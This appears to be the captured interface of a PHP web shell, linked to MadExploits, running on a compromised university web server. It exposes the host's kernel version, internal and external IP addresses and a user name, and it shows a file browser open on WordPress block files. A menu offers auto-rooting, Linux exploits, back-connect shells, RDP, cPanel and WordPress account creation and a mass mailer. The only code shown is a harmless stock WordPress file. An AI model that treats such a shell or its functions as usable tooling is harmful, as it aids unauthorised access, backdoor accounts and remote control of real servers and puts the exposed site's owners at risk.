Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.216.66.30
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
var /
www /
html /
aaou /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
archives
[ DIR ]
drwxrwxr-x
audio
[ DIR ]
drwxrwxr-x
avatar
[ DIR ]
drwxrwxr-x
block
[ DIR ]
drwxrwxr-x
button
[ DIR ]
drwxrwxr-x
buttons
[ DIR ]
drwxrwxr-x
calendar
[ DIR ]
drwxrwxr-x
categories
[ DIR ]
drwxrwxr-x
code
[ DIR ]
drwxrwxr-x
column
[ DIR ]
drwxrwxr-x
columns
[ DIR ]
drwxrwxr-x
comment-author-name
[ DIR ]
drwxrwxr-x
comment-content
[ DIR ]
drwxrwxr-x
comment-date
[ DIR ]
drwxrwxr-x
comment-edit-link
[ DIR ]
drwxrwxr-x
comment-reply-link
[ DIR ]
drwxrwxr-x
comment-template
[ DIR ]
drwxrwxr-x
comments
[ DIR ]
drwxrwxr-x
comments-pagination
[ DIR ]
drwxrwxr-x
comments-pagination-next
[ DIR ]
drwxrwxr-x
comments-pagination-numbers
[ DIR ]
drwxrwxr-x
comments-pagination-previous
[ DIR ]
drwxrwxr-x
comments-title
[ DIR ]
drwxrwxr-x
cover
[ DIR ]
drwxrwxr-x
details
[ DIR ]
drwxrwxr-x
embed
[ DIR ]
drwxrwxr-x
file
[ DIR ]
drwxrwxr-x
footnotes
[ DIR ]
drwxrwxr-x
freeform
[ DIR ]
drwxrwxr-x
gallery
[ DIR ]
drwxrwxr-x
group
[ DIR ]
drwxrwxr-x
heading
[ DIR ]
drwxrwxr-x
home-link
[ DIR ]
drwxrwxr-x
html
[ DIR ]
drwxrwxr-x
image
[ DIR ]
drwxrwxr-x
latest-comments
[ DIR ]
drwxrwxr-x
latest-posts
[ DIR ]
drwxrwxr-x
legacy-widget
[ DIR ]
drwxrwxr-x
list
[ DIR ]
drwxrwxr-x
list-item
[ DIR ]
drwxrwxr-x
loginout
[ DIR ]
drwxrwxr-x
media-text
[ DIR ]
drwxrwxr-x
missing
[ DIR ]
drwxrwxr-x
more
[ DIR ]
drwxrwxr-x
navigation
[ DIR ]
drwxrwxr-x
navigation-link
[ DIR ]
drwxrwxr-x
navigation-submenu
[ DIR ]
drwxrwxr-x
nextpage
[ DIR ]
drwxrwxr-x
page-list
[ DIR ]
drwxrwxr-x
page-list-item
[ DIR ]
drwxrwxr-x
paragraph
[ DIR ]
drwxrwxr-x
pattern
[ DIR ]
drwxrwxr-x
post-author
[ DIR ]
drwxrwxr-x
post-author-biography
[ DIR ]
drwxrwxr-x
post-author-name
[ DIR ]
drwxrwxr-x
post-comments-form
[ DIR ]
drwxrwxr-x
post-content
[ DIR ]
drwxrwxr-x
post-date
[ DIR ]
drwxrwxr-x
post-excerpt
[ DIR ]
drwxrwxr-x
post-featured-image
[ DIR ]
drwxrwxr-x
post-navigation-link
[ DIR ]
drwxrwxr-x
post-template
[ DIR ]
drwxrwxr-x
post-terms
[ DIR ]
drwxrwxr-x
post-title
[ DIR ]
drwxrwxr-x
preformatted
[ DIR ]
drwxrwxr-x
pullquote
[ DIR ]
drwxrwxr-x
query
[ DIR ]
drwxrwxr-x
query-no-results
[ DIR ]
drwxrwxr-x
query-pagination
[ DIR ]
drwxrwxr-x
query-pagination-next
[ DIR ]
drwxrwxr-x
query-pagination-numbers
[ DIR ]
drwxrwxr-x
query-pagination-previous
[ DIR ]
drwxrwxr-x
query-title
[ DIR ]
drwxrwxr-x
quote
[ DIR ]
drwxrwxr-x
read-more
[ DIR ]
drwxrwxr-x
rss
[ DIR ]
drwxrwxr-x
search
[ DIR ]
drwxrwxr-x
separator
[ DIR ]
drwxrwxr-x
shortcode
[ DIR ]
drwxrwxr-x
site-logo
[ DIR ]
drwxrwxr-x
site-tagline
[ DIR ]
drwxrwxr-x
site-title
[ DIR ]
drwxrwxr-x
social-link
[ DIR ]
drwxrwxr-x
social-links
[ DIR ]
drwxrwxr-x
spacer
[ DIR ]
drwxrwxr-x
table
[ DIR ]
drwxrwxr-x
tag-cloud
[ DIR ]
drwxrwxr-x
template-part
[ DIR ]
drwxrwxr-x
term-description
[ DIR ]
drwxrwxr-x
text-columns
[ DIR ]
drwxrwxr-x
verse
[ DIR ]
drwxrwxr-x
video
[ DIR ]
drwxrwxr-x
widget-group
[ DIR ]
drwxrwxr-x
archives.php
2.89
KB
-rw-rw-r--
avatar.php
5.5
KB
-rw-rw-r--
block.php
1.57
KB
-rw-rw-r--
blocks-json.php
159.82
KB
-rw-rw-r--
calendar.php
5.99
KB
-rw-rw-r--
categories.php
2.78
KB
-rw-rw-r--
comment-author-name.php
2.05
KB
-rw-rw-r--
comment-content.php
2.36
KB
-rw-rw-r--
comment-date.php
1.56
KB
-rw-rw-r--
comment-edit-link.php
1.64
KB
-rw-rw-r--
comment-reply-link.php
1.99
KB
-rw-rw-r--
comment-template.php
4.35
KB
-rw-rw-r--
comments-pagination-next.php
1.81
KB
-rw-rw-r--
comments-pagination-numbers.ph...
1.56
KB
-rw-rw-r--
comments-pagination-previous.p...
1.61
KB
-rw-rw-r--
comments-pagination.php
1.13
KB
-rw-rw-r--
comments-title.php
2.67
KB
-rw-rw-r--
comments.php
6.47
KB
-rw-rw-r--
cover.php
2.45
KB
-rw-rw-r--
file.php
3.26
KB
-rw-rw-r--
footnotes.php
3.03
KB
-rw-rw-r--
gallery.php
4.84
KB
-rw-rw-r--
heading.php
1.23
KB
-rw-rw-r--
home-link.php
5.19
KB
-rw-rw-r--
image.php
14.36
KB
-rw-rw-r--
index.php
4.48
KB
-rw-rw-r--
latest-comments.php
4.88
KB
-rw-rw-r--
latest-posts.php
8.17
KB
-rw-rw-r--
legacy-widget.php
3.81
KB
-rw-rw-r--
loginout.php
1.35
KB
-rw-rw-r--
navigation-link.php
11.65
KB
-rw-rw-r--
navigation-submenu.php
8.81
KB
-rw-rw-r--
navigation.php
37.31
KB
-rw-rw-r--
page-list-item.php
342
B
-rw-rw-r--
page-list.php
13.14
KB
-rw-rw-r--
pattern.php
1.4
KB
-rw-rw-r--
post-author-biography.php
1.41
KB
-rw-rw-r--
post-author-name.php
1.71
KB
-rw-rw-r--
post-author.php
2.51
KB
-rw-rw-r--
post-comments-form.php
2.68
KB
-rw-rw-r--
post-content.php
2.07
KB
-rw-rw-r--
post-date.php
2.29
KB
-rw-rw-r--
post-excerpt.php
3.33
KB
-rw-rw-r--
post-featured-image.php
7.37
KB
-rw-rw-r--
post-navigation-link.php
4.38
KB
-rw-rw-r--
post-template.php
5.52
KB
-rw-rw-r--
post-terms.php
3.31
KB
-rw-rw-r--
post-title.php
2.02
KB
-rw-rw-r--
query-no-results.php
1.71
KB
-rw-rw-r--
query-pagination-next.php
3.6
KB
-rw-rw-r--
query-pagination-numbers.php
4.41
KB
-rw-rw-r--
query-pagination-previous.php
3.05
KB
-rw-rw-r--
query-pagination.php
1.11
KB
-rw-rw-r--
query-title.php
2.01
KB
-rw-rw-r--
query.php
7.16
KB
-rw-rw-r--
read-more.php
1.75
KB
-rw-rw-r--
require-dynamic-blocks.php
3.85
KB
-rw-rw-r--
require-static-blocks.php
536
B
-rw-rw-r--
rss.php
3.83
KB
-rw-rw-r--
search.php
23.94
KB
-rw-rw-r--
shortcode.php
697
B
-rw-rw-r--
site-logo.php
5.79
KB
-rw-rw-r--
site-tagline.php
994
B
-rw-rw-r--
site-title.php
1.73
KB
-rw-rw-r--
social-link.php
60.44
KB
-rw-rw-r--
tag-cloud.php
1.37
KB
-rw-rw-r--
template-part.php
9.44
KB
-rw-rw-r--
term-description.php
1.27
KB
-rw-rw-r--
widget-group.php
2.12
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gallery.php
<?php /** * Server-side rendering of the `core/gallery` block. * * @package WordPress */ /** * Handles backwards compatibility for Gallery Blocks, * whose images feature a `data-id` attribute. * * Now that the Gallery Block contains inner Image Blocks, * we add a custom `data-id` attribute before rendering the gallery * so that the Image Block can pick it up in its render_callback. * * @param array $parsed_block The block being rendered. * @return array The migrated block object. */ function block_core_gallery_data_id_backcompatibility( $parsed_block ) { if ( 'core/gallery' === $parsed_block['blockName'] ) { foreach ( $parsed_block['innerBlocks'] as $key => $inner_block ) { if ( 'core/image' === $inner_block['blockName'] ) { if ( ! isset( $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] ) && isset( $inner_block['attrs']['id'] ) ) { $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] = esc_attr( $inner_block['attrs']['id'] ); } } } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_gallery_data_id_backcompatibility' ); /** * Adds a style tag for the --wp--style--unstable-gallery-gap var. * * The Gallery block needs to recalculate Image block width based on * the current gap setting in order to maintain the number of flex columns * so a css var is added to allow this. * * @param array $attributes Attributes of the block being rendered. * @param string $content Content of the block being rendered. * @return string The content of the block being rendered. */ function block_core_gallery_render( $attributes, $content ) { $gap = $attributes['style']['spacing']['blockGap'] ?? null; // Skip if gap value contains unsupported characters. // Regex for CSS value borrowed from `safecss_filter_attr`, and used here // because we only want to match against the value, not the CSS attribute. if ( is_array( $gap ) ) { foreach ( $gap as $key => $value ) { // Make sure $value is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null. $value = is_string( $value ) ? $value : ''; $value = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value; // Get spacing CSS variable from preset value if provided. if ( is_string( $value ) && str_contains( $value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $value, $index_to_splice ) ); $value = "var(--wp--preset--spacing--$slug)"; } $gap[ $key ] = $value; } } else { // Make sure $gap is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null. $gap = is_string( $gap ) ? $gap : ''; $gap = $gap && preg_match( '%[\\\(&=}]|/\*%', $gap ) ? null : $gap; // Get spacing CSS variable from preset value if provided. if ( is_string( $gap ) && str_contains( $gap, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap, $index_to_splice ) ); $gap = "var(--wp--preset--spacing--$slug)"; } } $unique_gallery_classname = wp_unique_id( 'wp-block-gallery-' ); $processed_content = new WP_HTML_Tag_Processor( $content ); $processed_content->next_tag(); $processed_content->add_class( $unique_gallery_classname ); // --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default // gap on the gallery. $fallback_gap = 'var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )'; $gap_value = $gap ? $gap : $fallback_gap; $gap_column = $gap_value; if ( is_array( $gap_value ) ) { $gap_row = isset( $gap_value['top'] ) ? $gap_value['top'] : $fallback_gap; $gap_column = isset( $gap_value['left'] ) ? $gap_value['left'] : $fallback_gap; $gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column; } // The unstable gallery gap calculation requires a real value (such as `0px`) and not `0`. if ( '0' === $gap_column ) { $gap_column = '0px'; } // Set the CSS variable to the column value, and the `gap` property to the combined gap value. $gallery_styles = array( array( 'selector' => ".wp-block-gallery.{$unique_gallery_classname}", 'declarations' => array( '--wp--style--unstable-gallery-gap' => $gap_column, 'gap' => $gap_value, ), ), ); wp_style_engine_get_stylesheet_from_css_rules( $gallery_styles, array( 'context' => 'block-supports', ) ); return (string) $processed_content; } /** * Registers the `core/gallery` block on server. */ function register_block_core_gallery() { register_block_type_from_metadata( __DIR__ . '/gallery', array( 'render_callback' => 'block_core_gallery_render', ) ); } add_action( 'init', 'register_block_core_gallery' );
Close